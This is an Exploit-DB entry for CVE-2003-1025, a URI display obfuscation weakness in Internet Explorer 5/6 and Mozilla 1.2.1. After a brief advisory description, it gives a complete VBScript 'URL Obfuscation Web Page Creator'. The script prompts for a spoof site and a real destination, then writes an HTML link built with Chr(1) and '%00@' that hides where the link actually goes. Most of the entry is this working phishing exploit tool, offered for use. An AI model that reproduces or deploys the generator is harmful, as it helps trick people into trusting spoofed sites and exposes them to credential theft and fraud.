Microsoft Internet Explorer 5/6, Mozilla 1.2.1 - URI Display Obfuscation Weakness 1

2003-12-09T00:00:00
ID EDB-ID:23422
Type exploitdb
Reporter Guy Crumpley
Modified 2003-12-09T00:00:00

Description

Internet Explorer 5/6,Mozilla 1.2.1 URI Display Obfuscation Weakness (1). CVE-2003-1025. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/9182/info

A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.

An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.

On Error Resume Next

PromtStart = "Do you want to create a web page to exploit Internet Explorer 5.01, 5.5 and 6.0 on Windows" _
& " platforms?" & vbcrlf & "(URL Obfuscation - http://www.securityfocus.com/bid/9182)"

Ok2Run = MsgBox (PromtStart,vbyesno + vbquestion,"URL Obfuscation Web Page Creator")

If Ok2Run = vbyes Then
	Do While strFileName = ""
		strFileName = InputBox ("Enter the name of the web page file you want to create","File Name","TEST.HTML")
	Loop
	Do While strSpoofSite = ""
		strSpoofSite = InputBox ("Enter the name of the site you want users to THINK they're going to:","Spoof Site","atkins.com")
	Loop
	Do While strRealSite = ""
		strRealSite = InputBox ("Enter the name of the site users WILL go to when they click on the link:","Real Site","www.mcdonalds.com")
	Loop
	Do While strLinkText = ""
		strLinkText = InputBox ("Enter the text you want to appear in the link:","Link Text","Go to the Atkins Site")
	Loop
	Err.Clear
	CreateExploitPage strFileName, strSpoofSite, strRealSite, strLinkText
	If Err.Number = 0 then
		MsgBox "Your exploit page has been saved to C:\" & strFileName & ".",vbokonly + vbinformation, "Script Complete"
	Else
		MsgBox "An error occured (" & Err.Description & ")saving your exploit page to C:\" & strFileName & ".",vbokonly + vbcritical, "Script Error"
		Err.Clear 
	End if
Else
	MsgBox "Script canceled.",vbokonly + vbcritical,"URL Obfuscation Web Page Creator"
End If

Sub CreateExploitPage(strFileName, strSpoofSite, strRealSite, strLinkText)
	Set fs = CreateObject("Scripting.FileSystemObject") 
	Set a = fs.CreateTextFile("c:\" & strFileName, True) 
	a.WriteLine("<HTML>") 
	a.WriteLine("<TITLE>Exploit Page for BID 9182 (http://www.securityfocus.com/bid/9182)</TITLE>")
	a.WriteLine("<BODY>")
	strExploitLine = "<A HREF=" & Chr(34) & "http://" & strSpoofSite & Chr(1) & "%00@" & strRealSite 
	strExploitLine = strExploitLine & Chr(34) & ">" & strLinkText & "</A>"
	a.WriteLine(strExploitLine)
	a.WriteLine("</BODY>")
	a.WriteLine("</HTML>")
	a.Close 
End Sub